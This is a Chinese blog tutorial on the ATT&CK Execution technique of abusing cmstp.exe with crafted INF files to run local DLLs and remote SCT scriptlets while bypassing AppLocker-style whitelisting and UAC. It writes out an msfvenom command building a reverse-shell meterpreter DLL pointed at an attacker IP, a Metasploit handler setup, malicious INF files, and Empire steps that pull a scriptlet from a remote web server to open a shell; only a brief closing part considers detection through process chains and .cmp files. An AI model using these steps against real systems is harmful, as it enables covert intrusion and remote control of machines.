ATT & CK 阶段之 Execution -- CMSTP

本文介绍如何使用cmstp.exe与inf文件执行本地或远程的dll和sct脚本,实现绕过防御机制,包括命令执行和恶意代码植入。详细解析了cmstp命令的使用、inf文件结构及调用流程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

ATT&CK 阶段之Executon即执行:当黑客入侵成功之后,往往会通过一系列的命令去获取信息、创建持续性会话。本文主要讲解通过cmstp.exe命令执行,调用恶意的dll或者com脚本(sct)。这种方式可以绕过applocker或者其他白名单的防御方式以及UAC.

cmstp基本命令使用

cmstp.exe /s /ns C:\Users\ADMINI~W\AppData\Local\Temp\XKNqbpzl.txt

在cmd中执行cmstp.exe -h
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-byqIZQvK-1588984836620)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p321)]

安装配置
cmstp.exe [/ni /ns /s /su/sd /au] "c:/a.inf"
解除安装配置
cmstp.exe /u [/s] "c:/a.inf"

inf基本概念

inf文件是Windows的SetupAPI解释执行的脚本文件,运行过程是线性执行,内部没有分支语句也没有条件语句,只会沿着固定路线运行。运行以节为单位,从某个[Install]节开始,从上到下执行该节中的条目,如果该条目为一个节,递归执行该子节的条目
语法格式

[sections] : 节
key = value : 条目。条目的参数及参数值
; 注释符
, 当某条目存在多个参数值时,使用逗号分隔
大小写不敏感
\ 条目参数值过多时,使用"\" 分行
%key%: 引用变量

inf文件格式

以网上常用的一个调用计算器的文件的calc.inf文件来看

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Windows\System32\calc.exe
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

调用命令为

cmstp.exe /s /ns calc.inf
;注意文件后缀名可变更,如txt,仍能执行成功
1. [version] 节

[version]节是每个inf文件基本都会有的节,主要用于描述该inf文件作用的设备类型及操作系统

Signature: 指定操作系统类型[$chicago$:表示使用win98之后所有windows系统,$Windows NT$:表示适用于win2000\xp\2003]

AdvancedINF: 指定inf版本。根据inf基本概念可知,inf主要或默认由SetupAPI.dll解释执行,但随着操作系统更新,inf增加了一些关键字,就需要引入AdvPack.dll解释执行。[2.5 : 表示需要AdvPack.dll,2.0:表示默认解释链接库]

2. [DefaultInstall_SingleUser]

表示为当前单用户安装,使用命令cmstp \s xxx.inf执行即可。这个节在官网上未发现,但在后续的tempele.inf文件中提及

从模版文件中可以看出以下条目可用于命令执行
RegisterOCXs = RegisterOCXSection
RunPreSetupCommands = RunPreSetupCommandsSection

3. [Strings] 节

[Strings] 字符串信息,用于常量定义,至少具有一个字符串部分
ServiceName、ShortSvcName: 为必填项,可自定义
AppAct: 可去除

其实我们还可以利用[DefaultInstall]进行调用
写法如下,基本写法是一致的

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall]
RegisterOCXs=RegisterOCXSection

[RegisterOCXSection]
C:\Windows\System32\calc.exe
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

只是注意调用命令如下

cmstp.exe /au calc.inf
;表示对所有用户安装,只有这样才会去执行DefaultInstall节

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fh0ekfAc-1588984836621)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p325)]
可以看到,会弹框提示是否对所有用户,选择确定,正常弹框
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ejoBhiMN-1588984836622)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p327)]

而使用[DefaultInstall_SingleUser]节时,无弹框提示,因此渗透过程中一般都会用这个节

一:cmstp引入本地dll文件执行恶意代码

前言:在通过ATT & CK 的初始化入口阶段,我们获取了一个系统的简单控制权限,为了便于下一步的渗透入侵,黑客一般会建立一个长连接,便于下一步的信息收集

matasploit执行,生成恶意dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.96.111 LPORT=4444 -f dll > ./cmstp.dll

将cmstp.dll拷贝到受害者机器上,新建inf文件格式文件,内容如下

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
UnRegisterOCXs=UnRegisterOCXSection
RunPreSetupCommands=RunPreSetupCommandsSection

[RegisterOCXSection]
C:\Users\Administrator\Desktop\cmstp.dll
C:\Windows\System32\calc.exe

[UnRegisterOCXSection]
C:\Windows\System32\calc.exe

[RunPreSetupCommandsSection]
C:\Windows\System32\calc.exe

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置

metasploit设置监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.96.111
run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-okMa9MmC-1588984836624)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p319)]

受害者机器上执行cmd

cmstp.exe /s cmstp.inf

成功反弹出shell
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iM5WZ7Ju-1588984836625)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p320)]

这里注意RegisterOCXSection\RunPreSetupCommandsSection节都可进行命令执行。即都可引入exe文件。但需要dll文件的时候,需要在RegisterOCXSection节。经测试RunPreSetupCommandsSection无法引入dll文件。

二:cmstp引入远程sct文件执行恶意代码

使用empire进行监听,并利用empire生成恶意的sct文件,安装过程不提,首先启动监听

./reset.sh 启动empire
listeners
uselistener http 设置http监听,默认监听在本机的80端口
execute

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tdhekiUU-1588984836626)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p333)]

back
usestager windows/launcher_sct http 设置以刚刚监听的http为后门,后门格式为sct
execute

默认会生成sct文件在/tmp/launcher.sct

将launcher.sct重命名为cmstp.sct,并放置在某个web服务器下,这里以192.168.160.144/cmstp.sct为例
编写恶意cmstp.inf文件

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
RegisterOCXs=RegisterOCXSection

[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://192.168.160.144/cmstp.sct
;%11%表示系统目录,一般为c:\windows\system32,表示scrobj.dll路径,scrobj.dll用于注册或卸载com对象
[RegisterOCXSection]
;C:\inetpub\wwwroot\cmstp.dll
;\\192.168.160.144cmstp.dll

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="sojrs"
ShortSvcName="sojrs"

cmd中执行

cmstp.exe /s /ns cmstp.inf 
interact VKRTZ3MF :会话名
whoami

则该配置文件会去远程调用cmstp.sct,并执行。最终在empire中反弹一个shell
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jyRyTW7X-1588984836627)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p334)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B4au8lAD-1588984836628)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p335)]

经测试,在[RegisterOCXSection]同样也会生效

注:网上还有通过webdav进行远程调用dll文件以及通过cmstp.exe /ni /s inf_url 直接远程调用执行inf文件,这两种方式未复现成功。同时可能由于系统版本的原因,在远程调用sct文件过程中,存在失败的可能性。以上主要复现在win server2008以及kali上

特点分析

从调用情况看
  1. 调用dll文件时
    根据sysmon的日志可以看到,最终cmstp.exe会调用rundll32.exe文件进行dll文件的注册,因此是否可以认为cmstp.exe调用rundll32.exe就是不合理的?
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eNsCNw9Z-1588984836628)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p336)]

另外,通过cmstp.exe进行inf文件执行时,都会产生一个cmp格式的文件,该文件用于连接管理器设置,是否可以监控该cmp文件的生成进行防御?
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UrDg49yG-1588984836629)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p337)]

  1. 远程调用sct文件时
    首先是cmd.exe调用起cmstp.exe
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8pbIgUEq-1588984836630)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p338)]

然后cmstp.exe 调用powershell.exe
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HqP7Cqzs-1588984836630)(evernotecid://E313BAD6-185D-4B09-A205-0D35B54ADFE7/appyinxiangcom/22766090/ENResource/p339)]

防御思路是否可同理?在这里插入图片描述

参考链接

官方inf文档:https://docs.microsoft.com/zh-cn/windows-hardware/drivers/install/inf-strings-section
how to edit inf files?: https://www.cnblogs.com/yefengmeander/archive/2012/11/17/2887951.html

empire安装并使用:https://www.secpulse.com/archives/73766.html
cmstp.exe 攻击演示:
https://www.freebuf.com/articles/system/172515.html
https://www.cnblogs.com/LittleHann/p/8420779.html#_lab2_7_10

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值